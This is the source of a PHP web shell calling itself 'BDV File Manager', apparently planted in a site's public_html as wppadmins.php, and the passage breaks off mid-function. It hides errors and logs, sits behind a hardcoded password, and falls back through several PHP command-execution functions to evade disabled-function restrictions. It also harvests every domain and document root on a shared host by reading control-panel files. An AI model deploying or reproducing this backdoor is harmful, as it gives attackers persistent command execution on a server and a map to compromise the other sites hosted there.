File: /home/intelije/domains/jakartakoma.com/public_html/wppadmins.php
<?php
/**
* BDV File Manager v4.0 - Clean Edition
*
* Temiz ve guvenli dosya yonetim araci
* Ozellikler: File Manager, Domain Finder, DB Manager, System Info
*
* @version 4.0
* @license MIT
*/
error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@ini_set('memory_limit', '512M');
@set_time_limit(0);
// ==================== PASSWORD PROTECTION ====================
session_start();
$SHELL_PASSWORD = '123123';
if (isset($_POST['shell_login_pass'])) {
if ($_POST['shell_login_pass'] === $SHELL_PASSWORD) {
$_SESSION['BDV_shell_auth'] = true;
} else {
$login_error = 'Yanlis sifre! Tekrar deneyin.';
}
}
if (isset($_GET['logout'])) {
session_destroy();
header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
exit;
}
if (!isset($_SESSION['BDV_shell_auth']) || $_SESSION['BDV_shell_auth'] !== true) {
echo '<!DOCTYPE html><html lang="tr"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1.0"><title>BDV File Manager - Login</title><style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:linear-gradient(135deg,#0a0a1a 0%,#1a1a2e 50%,#16213e 100%);min-height:100vh;display:flex;align-items:center;justify-content:center;font-family:"Segoe UI",sans-serif;overflow:hidden}
body::before{content:"";position:fixed;top:0;left:0;width:100%;height:100%;background:radial-gradient(circle at 20% 80%,rgba(120,0,255,0.15) 0%,transparent 50%),radial-gradient(circle at 80% 20%,rgba(255,0,100,0.1) 0%,transparent 50%);pointer-events:none}
.login-box{background:rgba(26,26,46,0.95);padding:50px 40px;border-radius:20px;box-shadow:0 25px 60px rgba(0,0,0,0.5),0 0 40px rgba(120,0,255,0.1);text-align:center;border:1px solid rgba(120,0,255,0.2);width:100%;max-width:400px;backdrop-filter:blur(20px);position:relative;z-index:1;animation:slideUp .6s ease-out}
@keyframes slideUp{from{opacity:0;transform:translateY(30px)}to{opacity:1;transform:translateY(0)}}
.login-box h2{font-size:32px;background:linear-gradient(135deg,#7c3aed,#ec4899);-webkit-background-clip:text;-webkit-text-fill-color:transparent;margin-bottom:8px;font-weight:800}
.login-box .subtitle{color:#a0a0b0;font-size:13px;margin-bottom:30px}
.login-box input[type="password"]{width:100%;padding:14px 18px;background:rgba(15,15,35,0.8);border:2px solid rgba(120,0,255,0.3);color:#fff;border-radius:12px;outline:none;font-size:15px;transition:all .3s;margin-bottom:20px}
.login-box input:focus{border-color:#7c3aed;box-shadow:0 0 20px rgba(120,0,255,0.2)}
.login-box button{background:linear-gradient(135deg,#7c3aed 0%,#ec4899 100%);color:#fff;border:none;padding:14px 24px;border-radius:12px;cursor:pointer;width:100%;font-weight:700;font-size:15px;transition:all .3s;box-shadow:0 4px 15px rgba(120,0,255,0.3)}
.login-box button:hover{transform:translateY(-2px);box-shadow:0 8px 25px rgba(120,0,255,0.4)}
.error-msg{color:#f44336;background:rgba(244,67,54,0.1);padding:10px;border-radius:8px;margin-bottom:15px;font-size:13px;border:1px solid rgba(244,67,54,0.3)}
</style></head><body><div class="login-box"><h2>BDV File Manager</h2><p class="subtitle">Yetkili erisim gereklidir</p>';
if (isset($login_error)) echo '<p class="error-msg">' . $login_error . '</p>';
echo '<form method="POST"><input type="password" name="shell_login_pass" placeholder="Sifrenizi girin..." required autofocus><button type="submit">Giris Yap</button></form></div></body></html>';
exit;
}
// ==================== CONFIGURATION ====================
define('APP_VERSION', '4.0');
define('APP_NAME', 'BDV File Manager');
define('MAX_UPLOAD_SIZE', 100 * 1024 * 1024); // 100MB
// ==================== HANDLE DIRECTORY NAVIGATION ====================
$current_dir = getcwd();
if (isset($_GET['dir'])) {
$requested_dir = realpath($_GET['dir']);
if ($requested_dir !== false && @is_dir($requested_dir) && @chdir($requested_dir)) {
$current_dir = getcwd();
}
}
// ==================== CORE FUNCTIONS ====================
function sanitizeInput($input, $type = 'string') {
if ($type === 'path') {
$input = str_replace(['..', '\\', '/../'], '', $input);
$real = realpath($input);
return $real !== false ? $real : $input;
} elseif ($type === 'filename') {
return preg_replace('/[^a-zA-Z0-9._-]/', '', $input);
} elseif ($type === 'url') {
return filter_var($input, FILTER_SANITIZE_URL);
} elseif ($type === 'email') {
return filter_var($input, FILTER_SANITIZE_EMAIL);
}
return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}
function formatSize($bytes) {
if ($bytes == 0) return '0 Bytes';
$k = 1024;
$sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
$i = floor(log($bytes, $k));
return round($bytes / pow($k, $i), 2) . ' ' . $sizes[$i];
}
function getSystemInfo() {
$server_ip = $_SERVER['SERVER_ADDR'] ?? @gethostbyname(gethostname()) ?? 'Unknown';
$client_ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
return [
'app_name' => APP_NAME,
'app_version' => APP_VERSION,
'server_ip' => $server_ip,
'client_ip' => $client_ip,
'php_version' => PHP_VERSION,
'operating_system' => PHP_OS,
'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
'current_user' => @get_current_user() ?: 'Unknown',
'server_name' => $_SERVER['SERVER_NAME'] ?? 'Unknown',
'server_port' => $_SERVER['SERVER_PORT'] ?? 'Unknown',
'server_time' => date('Y-m-d H:i:s'),
'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? getcwd(),
'current_dir' => getcwd(),
'disk_free_space' => formatSize(@disk_free_space('.') ?: 0),
'disk_total_space' => formatSize(@disk_total_space('.') ?: 0),
'memory_limit' => @ini_get('memory_limit') ?: 'Unknown',
'max_execution_time' => @ini_get('max_execution_time') ?: 'Unknown',
'upload_max_filesize' => @ini_get('upload_max_filesize') ?: 'Unknown',
'post_max_size' => @ini_get('post_max_size') ?: 'Unknown',
'open_basedir' => @ini_get('open_basedir') ?: 'None',
'disable_functions' => @ini_get('disable_functions') ?: 'None'
];
}
// ==================== DOMAIN FINDER ====================
// Helper: shell_exec disabled ise alternatif yontemlerle komut calistir
function safeExec($cmd) {
$disabled = array_map('trim', explode(',', strtolower(@ini_get('disable_functions'))));
$try = ['shell_exec', 'exec', 'popen', 'proc_open', 'system', 'passthru'];
foreach ($try as $fn) {
if (in_array($fn, $disabled) || !function_exists($fn)) continue;
try {
switch ($fn) {
case 'shell_exec':
$r = @shell_exec($cmd);
if ($r !== null && $r !== false && $r !== '') return $r;
break;
case 'exec':
$out = array();
@exec($cmd, $out);
if (!empty($out)) return implode("\n", $out);
break;
case 'popen':
$h = @popen($cmd, 'r');
if ($h) { $r = @stream_get_contents($h); @pclose($h); if ($r) return $r; }
break;
case 'proc_open':
$desc = array(1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
$proc = @proc_open($cmd, $desc, $pipes);
if (is_resource($proc)) {
$r = @stream_get_contents($pipes[1]);
@fclose($pipes[1]); @fclose($pipes[2]); @proc_close($proc);
if ($r) return $r;
}
break;
case 'system':
@ob_start(); @system($cmd); $r = @ob_get_clean();
if ($r) return $r;
break;
case 'passthru':
@ob_start(); @passthru($cmd); $r = @ob_get_clean();
if ($r) return $r;
break;
}
} catch (\Exception $e) { continue; } catch (\Error $e) { continue; }
}
return '';
}
function findAllDomains() {
$domains = [];
$seen = [];
$detected_panel = 'Unknown';
// Helper: add domain with O(1) deduplication
$addDomain = function($domain, $doc_root, $panel) use (&$domains, &$seen) {
$domain = strtolower(trim($domain, " \t\n\r\0\x0B\"'"));
// Port numarasi varsa kaldir (orn: domain.com:443)
if (($cp = strpos($domain, ':')) !== false) $domain = substr($domain, 0, $cp);
if (!$domain || strlen($domain) < 4 || strpos($domain, '.') === false) return;
if (in_array($domain, ['localhost', 'localhost.localdomain', '_', '*', 'default'])) return;
if (preg_match('/^\d{1,3}(\.\d{1,3}){3}$/', $domain)) return; // Skip IPs
if (preg_match('/\.localdomain$/', $domain)) return; // Skip .localdomain
$domain = rtrim($domain, '.');
$doc_root = ($doc_root && $doc_root !== '' && $doc_root !== 'Unknown') ? rtrim(trim($doc_root, " \t\n\r\0\x0B\"'"), '/') : 'Unknown';
if (isset($seen[$domain])) {
$idx = $seen[$domain];
if ($doc_root !== 'Unknown') {
$new_exists = @is_dir($doc_root);
// Mevcut root Unknown ise veya mevcut dizin yoksa ama yeni dizin varsa guncelle
if ($domains[$idx]['document_root'] === 'Unknown' || (!$domains[$idx]['exists'] && $new_exists)) {
$domains[$idx]['document_root'] = $doc_root;
$domains[$idx]['exists'] = $new_exists;
$domains[$idx]['panel'] = $panel;
}
}
return;
}
$seen[$domain] = count($domains);
$domains[] = [
'domain' => $domain,
'document_root' => $doc_root,
'panel' => $panel,
'exists' => ($doc_root !== 'Unknown') ? @is_dir($doc_root) : false
];
};
// ===== 1. PLESK =====
if (is_dir('/usr/local/psa')) {
$detected_panel = 'Plesk';
// 1a. CLI: plesk bin site --list (en guvenilir - tum siteleri listeler)
$out = safeExec('plesk bin site --list 2>/dev/null');
if ($out) {
foreach (explode("\n", trim($out)) as $s) {
$s = trim($s);
if (!$s) continue;
$dr = '/var/www/vhosts/' . $s . '/httpdocs';
$addDomain($s, @is_dir($dr) ? $dr : '/var/www/vhosts/' . $s, 'Plesk');
}
}
// 1b. CLI: plesk bin subscription --list
$out = safeExec('plesk bin subscription --list 2>/dev/null');
if ($out) {
foreach (explode("\n", trim($out)) as $s) {
$s = trim($s);
if (!$s) continue;
$dr = '/var/www/vhosts/' . $s . '/httpdocs';
$addDomain($s, @is_dir($dr) ? $dr : '/var/www/vhosts/' . $s, 'Plesk');
}
}
// 1c. Plesk DB query (dogrudan veritabanindan tum domainleri ceker)
$out = safeExec("plesk db \"SELECT name, www_root FROM domains\" 2>/dev/null");
if ($out) {
foreach (explode("\n", $out) as $line) {
if (preg_match('/\|\s*(\S+)\s*\|\s*([^|]*?)\s*\|/', $line, $m)) {
$n = trim($m[1]);
$r = trim($m[2]);
if ($n && $n !== 'name' && strpos($n, '.') !== false) {
$addDomain($n, $r ?: 'Unknown', 'Plesk');
}
}
}
}
// 1d. /var/www/vhosts/ dizin taramasi
if (is_dir('/var/www/vhosts')) {
$entries = @scandir('/var/www/vhosts');
if ($entries) {
$skip = ['.', '..', 'default', 'system', 'chroot', '.skel', '.rapid-scan-db'];
foreach ($entries as $e) {
if (in_array($e, $skip) || $e[0] === '.') continue;
$vp = '/var/www/vhosts/' . $e;
if (@is_dir($vp) && strpos($e, '.') !== false) {
$dr = @is_dir($vp . '/httpdocs') ? $vp . '/httpdocs' : $vp;
$addDomain($e, $dr, 'Plesk');
}
}
}
}
// 1e. /var/www/vhosts/system/ taramasi (Plesk domain configleri burada)
if (is_dir('/var/www/vhosts/system')) {
$entries = @scandir('/var/www/vhosts/system');
if ($entries) {
foreach ($entries as $e) {
if ($e[0] === '.' || $e === 'default') continue;
if (@is_dir('/var/www/vhosts/system/' . $e) && strpos($e, '.') !== false) {
$dr = '/var/www/vhosts/' . $e . '/httpdocs';
$addDomain($e, @is_dir($dr) ? $dr : '/var/www/vhosts/' . $e, 'Plesk');
}
}
}
}
// 1f. Plesk Nginx vhost conf dosyalari (.conf dosyalari VE dizinler)
$plesk_nginx_dirs = ['/etc/nginx/plesk.conf.d/vhosts/'];
foreach ($plesk_nginx_dirs as $pndir) {
if (!is_dir($pndir)) continue;
$confs = @scandir($pndir);
if (!$confs) continue;
foreach ($confs as $cf) {
if ($cf[0] === '.') continue;
$cfp = $pndir . $cf;
// Dizin ise (domain adli dizin)
if (@is_dir($cfp) && strpos($cf, '.') !== false) {
$addDomain($cf, '/var/www/vhosts/' . $cf . '/httpdocs', 'Plesk');
}
// .conf dosyasi ise parse et
if (@is_file($cfp) && substr($cf, -5) === '.conf') {
$name = preg_replace('/\.conf$/', '', $cf);
if (strpos($name, '.') !== false) {
$root = '/var/www/vhosts/' . $name . '/httpdocs';
$ct = @file_get_contents($cfp);
if ($ct && preg_match('/root\s+([^;]+);/i', $ct, $rm)) {
$pr = trim($rm[1]);
if ($pr) $root = $pr;
}
$addDomain($name, $root, 'Plesk');
// Ayrica server_name direktiflerini de parse et
if ($ct && preg_match_all('/server_name\s+([^;]+);/i', $ct, $snm)) {
foreach ($snm[1] as $sn_line) {
foreach (preg_split('/\s+/', trim($sn_line)) as $sn) {
$sn = trim($sn);
if ($sn && $sn !== '_' && $sn !== 'localhost' && strpos($sn, '*') === false && strpos($sn, '.') !== false) {
$addDomain($sn, $root, 'Plesk');
}
}
}
}
}
}
}
}
// 1g. Plesk Apache conf dizinleri
foreach (['/etc/httpd/conf/plesk.conf.d/vhosts/', '/etc/apache2/plesk.conf.d/vhosts/'] as $padir) {
if (!is_dir($padir)) continue;
$confs = @scandir($padir);
if (!$confs) continue;
foreach ($confs as $cf) {
if ($cf[0] === '.') continue;
if (@is_dir($padir . $cf) && strpos($cf, '.') !== false) {
$addDomain($cf, '/var/www/vhosts/' . $cf . '/httpdocs', 'Plesk');
}
}
}
}
// ===== 2. cPanel =====
if (is_dir('/usr/local/cpanel')) {
$detected_panel = 'cPanel';
// 2a. /etc/trueuserdomains - ana domainler
$lines = @file('/etc/trueuserdomains', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if ($lines) {
foreach ($lines as $l) {
$p = explode(':', $l, 2);
if (count($p) === 2) {
$addDomain(trim($p[0]), '/home/' . trim($p[1]) . '/public_html', 'cPanel (Main)');
}
}
}
// 2b. /etc/userdomains - tum domainler (addon, parked, sub)
$lines = @file('/etc/userdomains', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if ($lines) {
foreach ($lines as $l) {
$p = explode(':', $l, 2);
if (count($p) === 2 && trim($p[0]) !== '*') {
$addDomain(trim($p[0]), '/home/' . trim($p[1]) . '/public_html', 'cPanel');
}
}
}
// 2c. /var/cpanel/userdata/ - gercek document root bilgileri
if (is_dir('/var/cpanel/userdata')) {
$users = @scandir('/var/cpanel/userdata');
if ($users) {
foreach ($users as $user) {
if ($user[0] === '.' || !@is_dir('/var/cpanel/userdata/' . $user)) continue;
$udir = '/var/cpanel/userdata/' . $user;
$dfiles = @scandir($udir);
if (!$dfiles) continue;
foreach ($dfiles as $df) {
if ($df[0] === '.' || $df === 'main' || $df === 'cache') continue;
if (strpos($df, '_SSL') !== false || strpos($df, '.') === false) continue;
$ct = @file_get_contents($udir . '/' . $df);
if ($ct && preg_match('/documentroot:\s*(.+)/i', $ct, $m)) {
$addDomain($df, trim($m[1]), 'cPanel');
}
}
}
}
}
// 2d. /var/cpanel/users/ - kullanici config dosyalari (DNS= ve DNS1= satirlari)
if (is_dir('/var/cpanel/users')) {
$ufs = @scandir('/var/cpanel/users');
if ($ufs) {
foreach ($ufs as $uf) {
if ($uf[0] === '.' || !@is_file('/var/cpanel/users/' . $uf)) continue;
$ct = @file_get_contents('/var/cpanel/users/' . $uf);
if (!$ct) continue;
if (preg_match('/^DNS=(.+)$/m', $ct, $m)) {
$addDomain(trim($m[1]), '/home/' . $uf . '/public_html', 'cPanel');
}
if (preg_match_all('/^DNS\d+=(.+)$/m', $ct, $ms)) {
foreach ($ms[1] as $d) $addDomain(trim($d), '/home/' . $uf . '/public_html', 'cPanel');
}
}
}
}
// 2e. /etc/localdomains ve /etc/remotedomains
foreach (['/etc/localdomains', '/etc/remotedomains'] as $f) {
$lines = @file($f, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if ($lines) {
foreach ($lines as $d) {
$d = trim($d);
if ($d && strpos($d, '.') !== false) $addDomain($d, 'Unknown', 'cPanel');
}
}
}
}
// ===== 3. DirectAdmin =====
if (is_dir('/usr/local/directadmin')) {
$detected_panel = 'DirectAdmin';
$udir = '/usr/local/directadmin/data/users/';
if (is_dir($udir)) {
$users = @scandir($udir);
if ($users) {
foreach ($users as $user) {
if ($user[0] === '.') continue;
// domains.list
$lines = @file($udir . $user . '/domains.list', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
if ($lines) {
foreach ($lines as $d) {
$d = trim($d);
if ($d) $addDomain($d, '/home/' . $user . '/domains/' . $d . '/public_html', 'DirectAdmin');
}
}
// httpd.conf - ServerName ve ServerAlias
$ct = @file_get_contents($udir . $user . '/httpd.conf');
if ($ct) {
if (preg_match_all('/ServerName\s+(\S+)/i', $ct, $ms)) {
foreach ($ms[1] as $sn) {
if (strpos($sn, '.') !== false) $addDomain(trim($sn), 'Unknown', 'DirectAdmin');
}
}
if (preg_match_all('/ServerAlias\s+(.+)/i', $ct, $ms)) {
foreach ($ms[1] as $al) {
foreach (preg_split('/\s+/', trim($al)) as $a) {
$a = trim($a);
if ($a && strpos($a, '.') !== false && strpos($a, '*') === false) {
$addDomain($a, 'Unknown', 'DirectAdmin');
}
}
}
}
}
}
}
}
// /etc/virtual/ dizinleri
if (is_dir('/etc/virtual')) {
$vds = @scandir('/etc/virtual');
if ($vds) {
foreach ($vds as $vd) {
if ($vd[0] === '.') continue;
if (@is_dir('/etc/virtual/' . $vd) && strpos($vd, '.') !== false) {
$addDomain($vd, 'Unknown', 'DirectAdmin');
}
}
}
}
}
// ===== 4. CyberPanel =====
if (is_dir('/usr/local/CyberCP') || is_dir('/usr/local/CyberPanel')) {
if ($detected_panel === 'Unknown') $detected_panel = 'CyberPanel';
if (is_dir('/home')) {
$hds = @scandir('/home');
if ($hds) {
foreach ($hds as $hd) {
if ($hd[0] === '.') continue;
$pub = '/home/' . $hd . '/public_html';
if (@is_dir($pub) && strpos($hd, '.') !== false) {
$addDomain($hd, $pub, 'CyberPanel');
}
}
}
}
}
// ===== 5. HestiaCP / VestaCP =====
foreach (['/usr/local/hestia' => 'HestiaCP', '/usr/local/vesta' => 'VestaCP'] as $pd => $pn) {
if (!is_dir($pd)) continue;
if ($detected_panel === 'Unknown') $detected_panel = $pn;
if (is_dir('/home')) {
$users = @scandir('/home');
if ($users) {
foreach ($users as $u) {
if ($u[0] === '.') continue;
$wb = '/home/' . $u . '/web';
if (!@is_dir($wb)) continue;
$wds = @scandir($wb);
if ($wds) {
foreach ($wds as $wd) {
if ($wd[0] === '.') continue;
if (@is_dir($wb . '/' . $wd) && strpos($wd, '.') !== false) {
$pub = $wb . '/' . $wd . '/public_html';
$addDomain($wd, @is_dir($pub) ? $pub : $wb . '/' . $wd, $pn);
}
}
}
}
}
}
break;
}
// ===== 6. ISPConfig =====
if (is_dir('/usr/local/ispconfig')) {
if ($detected_panel === 'Unknown') $detected_panel = 'ISPConfig';
// /var/www/clients/ altini tara
if (is_dir('/var/www/clients')) {
$clients = @scandir('/var/www/clients');
if ($clients) {
foreach ($clients as $cl) {
if ($cl[0] === '.') continue;
$cl_path = '/var/www/clients/' . $cl;
if (!@is_dir($cl_path)) continue;
$webs = @scandir($cl_path);
if (!$webs) continue;
foreach ($webs as $w) {
if ($w[0] === '.') continue;
$web_path = $cl_path . '/' . $w . '/web';
if (@is_dir($web_path)) {
// vhost config'den domain adini bul
$vhost_file = '/etc/apache2/sites-available/' . $w . '.vhost';
$ct = @file_get_contents($vhost_file);
if ($ct && preg_match('/ServerName\s+(\S+)/i', $ct, $m)) {
$addDomain(trim($m[1]), $web_path, 'ISPConfig');
}
}
}
}
}
}
}
// ===== 6b. OpenLiteSpeed / LiteSpeed =====
$lsws_dirs = ['/usr/local/lsws', '/usr/local/lsws/conf'];
$is_lsws = false;
foreach ($lsws_dirs as $ld) { if (is_dir($ld)) { $is_lsws = true; break; } }
if ($is_lsws) {
if ($detected_panel === 'Unknown') $detected_panel = 'OpenLiteSpeed';
// Vhost config dizinleri
$vhost_dirs = ['/usr/local/lsws/conf/vhosts', '/usr/local/lsws/DEFAULT/vhosts'];
foreach ($vhost_dirs as $vdir) {
if (!@is_dir($vdir)) continue;
$vhosts = @scandir($vdir);
if (!$vhosts) continue;
foreach ($vhosts as $vh) {
if ($vh[0] === '.') continue;
$vh_path = $vdir . '/' . $vh;
if (@is_dir($vh_path) && strpos($vh, '.') !== false) {
// vhconf.conf icinden root ve domain al
$conf = @file_get_contents($vh_path . '/vhconf.conf');
$root = $vh_path;
if ($conf && preg_match('/docRoot\s+(.+)/i', $conf, $m)) $root = trim($m[1]);
$addDomain($vh, $root, 'LiteSpeed');
// vhDomain satirlari
if ($conf && preg_match_all('/vhDomain\s+(.+)/i', $conf, $ms)) {
foreach ($ms[1] as $vd_line) {
foreach (preg_split('/[\s,]+/', trim($vd_line)) as $vd) {
$vd = trim($vd);
if ($vd && strpos($vd, '.') !== false && strpos($vd, '*') === false) {
$addDomain($vd, $root, 'LiteSpeed');
}
}
}
}
if ($conf && preg_match_all('/vhAliases\s+(.+)/i', $conf, $ms)) {
foreach ($ms[1] as $va_line) {
foreach (preg_split('/[\s,]+/', trim($va_line)) as $va) {
$va = trim($va);
if ($va && strpos($va, '.') !== false && strpos($va, '*') === false) {
$addDomain($va, $root, 'LiteSpeed');
}
}
}
}
} elseif (@is_dir($vh_path)) {
// Dizin adi domain degil, icindeki config'e bak
$conf = @file_get_contents($vh_path . '/vhconf.conf');
if ($conf) {
$root = '';
if (preg_match('/docRoot\s+(.+)/i', $conf, $m)) $root = trim($m[1]);
if (preg_match_all('/vhDomain\s+(.+)/i', $conf, $ms)) {
foreach ($ms[1] as $vd_line) {
foreach (preg_split('/[\s,]+/', trim($vd_line)) as $vd) {
$vd = trim($vd);
if ($vd && strpos($vd, '.') !== false) $addDomain($vd, $root ?: 'Unknown', 'LiteSpeed');
}
}
}
}
}
}
}
}
// ===== 6c. Webmin / Virtualmin =====
if (is_dir('/etc/webmin/virtual-server')) {
if ($detected_panel === 'Unknown') $detected_panel = 'Virtualmin';
$vs_dir = '/etc/webmin/virtual-server/domains/';
if (is_dir($vs_dir)) {
$dfiles = @scandir($vs_dir);
if ($dfiles) {
foreach ($dfiles as $df) {
if ($df[0] === '.') continue;
$ct = @file_get_contents($vs_dir . $df);
if (!$ct) continue;
$dom = '';
$root = '';
if (preg_match('/^dom=(.+)$/m', $ct, $m)) $dom = trim($m[1]);
if (preg_match('/^public_html_dir=(.+)$/m', $ct, $m)) $root = trim($m[1]);
if (!$root && preg_match('/^home=(.+)$/m', $ct, $m)) $root = trim($m[1]) . '/public_html';
if ($dom) $addDomain($dom, $root ?: 'Unknown', 'Virtualmin');
}
}
}
// Virtualmin CLI
$out = safeExec('virtualmin list-domains --name-only 2>/dev/null');
if ($out) {
foreach (explode("\n", trim($out)) as $d) {
$d = trim($d);
if ($d && strpos($d, '.') !== false) $addDomain($d, 'Unknown', 'Virtualmin');
}
}
}
// ===== 6d. CWP (Control Web Panel) =====
if (is_dir('/usr/local/cwpsrv') || is_dir('/usr/local/cwp')) {
if ($detected_panel === 'Unknown') $detected_panel = 'CWP';
// CWP vhost config'leri
foreach (['/usr/local/cwpsrv/conf/vhosts', '/usr/local/apache/conf.d/vhosts', '/etc/httpd/conf.d/vhosts'] as $cwp_dir) {
if (!@is_dir($cwp_dir)) continue;
$files = @scandir($cwp_dir);
if (!$files) continue;
foreach ($files as $f) {
if ($f[0] === '.' || !@is_file($cwp_dir . '/' . $f)) continue;
$ct = @file_get_contents($cwp_dir . '/' . $f);
if (!$ct) continue;
if (preg_match_all('/ServerName\s+(\S+)/i', $ct, $ms)) {
foreach ($ms[1] as $sn) {
$dr = '';
if (preg_match('/DocumentRoot\s+"?([^"\n]+)"?/i', $ct, $rm)) $dr = trim($rm[1]);
if (strpos($sn, '.') !== false) $addDomain(trim($sn), $dr ?: 'Unknown', 'CWP');
}
}
}
}
// /var/named/ zone dosyalari
if (is_dir('/var/named')) {
$zones = @scandir('/var/named');
if ($zones) {
foreach ($zones as $z) {
if (substr($z, -3) === '.db' && strpos($z, '.') !== false) {
$name = preg_replace('/\.db$/', '', $z);
if (strpos($name, '.') !== false) $addDomain($name, 'Unknown', 'CWP');
}
}
}
}
}
// ===== 6e. aaPanel =====
if (is_dir('/www/server/panel')) {
if ($detected_panel === 'Unknown') $detected_panel = 'aaPanel';
// aaPanel nginx/apache vhost dizinleri
foreach (['/www/server/panel/vhost/nginx', '/www/server/panel/vhost/apache', '/www/server/panel/vhost'] as $aa_dir) {
if (!@is_dir($aa_dir)) continue;
$files = @scandir($aa_dir);
if (!$files) continue;
foreach ($files as $f) {
if ($f[0] === '.') continue;
$fp = $aa_dir . '/' . $f;
if (!@is_file($fp)) continue;
// Dosya adindan domain cikart (domain.com.conf)
$name = preg_replace('/\.(conf|vhost)$/', '', $f);
if (strpos($name, '.') !== false) {
$root = '/www/wwwroot/' . $name;
$ct = @file_get_contents($fp);
if ($ct && preg_match('/root\s+([^;]+);/i', $ct, $m)) $root = trim($m[1]);
elseif ($ct && preg_match('/DocumentRoot\s+"?([^"\n]+)"?/i', $ct, $m)) $root = trim($m[1]);
$addDomain($name, $root, 'aaPanel');
}
}
}
// /www/wwwroot/ dizin taramasi
if (is_dir('/www/wwwroot')) {
$wdirs = @scandir('/www/wwwroot');
if ($wdirs) {
foreach ($wdirs as $wd) {
if ($wd[0] === '.' || $wd === 'default') continue;
if (@is_dir('/www/wwwroot/' . $wd) && strpos($wd, '.') !== false) {
$addDomain($wd, '/www/wwwroot/' . $wd, 'aaPanel');
}
}
}
}
}
// ===== 6f. CloudPanel =====
if (is_dir('/home/clp') || file_exists('/usr/bin/clpctl')) {
if ($detected_panel === 'Unknown') $detected_panel = 'CloudPanel';
// clpctl ile domain listesi
$out = safeExec('clpctl site:list 2>/dev/null');
if ($out) {
foreach (explode("\n", $out) as $line) {
$line = trim($line);
if ($line && strpos($line, '.') !== false && !preg_match('/^[-+|]/', $line) && !preg_match('/Site|Domain|Name/i', $line)) {
$parts = preg_split('/\s+/', $line);
if (!empty($parts[0]) && strpos($parts[0], '.') !== false) {
$addDomain($parts[0], 'Unknown', 'CloudPanel');
}
}
}
}
// /home/USER/htdocs/ taramasi
if (is_dir('/home')) {
$users = @scandir('/home');
if ($users) {
foreach ($users as $u) {
if ($u[0] === '.' || $u === 'clp') continue;
$htdocs = '/home/' . $u . '/htdocs';
if (@is_dir($htdocs)) {
$subs = @scandir($htdocs);
if ($subs) {
foreach ($subs as $s) {
if ($s[0] === '.') continue;
if (@is_dir($htdocs . '/' . $s) && strpos($s, '.') !== false) {
$addDomain($s, $htdocs . '/' . $s, 'CloudPanel');
}
}
}
}
}
}
}
}
// ===== 6g. Froxlor =====
if (is_dir('/var/customers/webs') || is_dir('/etc/froxlor')) {
if ($detected_panel === 'Unknown') $detected_panel = 'Froxlor';
if (is_dir('/var/customers/webs')) {
$webs = @scandir('/var/customers/webs');
if ($webs) {
foreach ($webs as $w) {
if ($w[0] === '.') continue;
if (@is_dir('/var/customers/webs/' . $w) && strpos($w, '.') !== false) {
$addDomain($w, '/var/customers/webs/' . $w, 'Froxlor');
}
}
}
}
}
// ===== 6h. RunCloud =====
if (is_dir('/etc/runcloud') || is_dir('/RunCloud')) {
if ($detected_panel === 'Unknown') $detected_panel = 'RunCloud';
// RunCloud: /home/runcloud/webapps/APPNAME
$rc_home = '/home/runcloud/webapps';
if (is_dir($rc_home)) {
$apps = @scandir($rc_home);
if ($apps) {
foreach ($apps as $app) {
if ($app[0] === '.') continue;
if (@is_dir($rc_home . '/' . $app) && strpos($app, '.') !== false) {
$addDomain($app, $rc_home . '/' . $app, 'RunCloud');
}
}
}
}
}
// ===== 7. GENERIC: Apache httpd -S / apache2ctl -S dump =====
$dump = safeExec('httpd -S 2>&1');
if (!$dump || strpos($dump, 'VirtualHost') === false) {
$dump = safeExec('apache2ctl -S 2>&1');
}
if ($dump && strpos($dump, 'VirtualHost') !== false) {
$label = ($detected_panel !== 'Unknown') ? $detected_panel : 'Apache';
if (preg_match_all('/namevhost\s+(\S+)/i', $dump, $ms)) {
foreach ($ms[1] as $vh) {
$vh = trim($vh);
if (strpos($vh, '.') !== false) $addDomain($vh, 'Unknown', $label);
}
}
if (preg_match_all('/\balias\s+(\S+)/i', $dump, $ms)) {
foreach ($ms[1] as $a) {
$a = trim($a);
if (strpos($a, '.') !== false && strpos($a, '/') === false) $addDomain($a, 'Unknown', $label);
}
}
}
// ===== 8. GENERIC: Nginx -T dump (tum nginx config'ini duser - en kapsamli) =====
$dump = safeExec('nginx -T 2>&1');
if ($dump && strpos($dump, 'server_name') !== false) {
$label = ($detected_panel !== 'Unknown') ? $detected_panel : 'Nginx';
if (preg_match_all('/server\s*\{((?:[^{}]|(?:\{(?:[^{}]|\{[^{}]*\})*\}))*)\}/si', $dump, $svs)) {
foreach ($svs[1] as $sv) {
$root = '';
if (preg_match('/root\s+([^;]+);/i', $sv, $m)) $root = trim($m[1]);
if (preg_match_all('/server_name\s+([^;]+);/i', $sv, $snm)) {
foreach ($snm[1] as $sn_line) {
foreach (preg_split('/\s+/', trim($sn_line)) as $name) {
$name = trim($name);
if (!$name || $name === '_' || $name === 'localhost' || strpos($name, '*') !== false) continue;
if (strpos($name, '.') !== false) {
$addDomain($name, $root ?: 'Unknown', $label);
}
}
}
}
}
}
}
// ===== 9. GENERIC: Apache config dosyalari (httpd -S yakalayamazsa diye) =====
$apdirs = [
'/etc/httpd/conf.d', '/etc/httpd/conf/extra', '/etc/httpd/conf',
'/etc/apache2/sites-enabled', '/etc/apache2/sites-available', '/etc/apache2/conf-enabled',
'/usr/local/apache/conf/vhosts', '/usr/local/apache2/conf/extra',
'/etc/httpd/conf/plesk.conf.d/vhosts'
];
foreach ($apdirs as $dir) {
if (!@is_dir($dir) || !@is_readable($dir)) continue;
$files = @scandir($dir);
if (!$files) continue;
foreach ($files as $file) {
if ($file[0] === '.') continue;
$fp = $dir . '/' . $file;
if (!@is_file($fp) || !@is_readable($fp)) continue;
$ct = @file_get_contents($fp);
if (!$ct) continue;
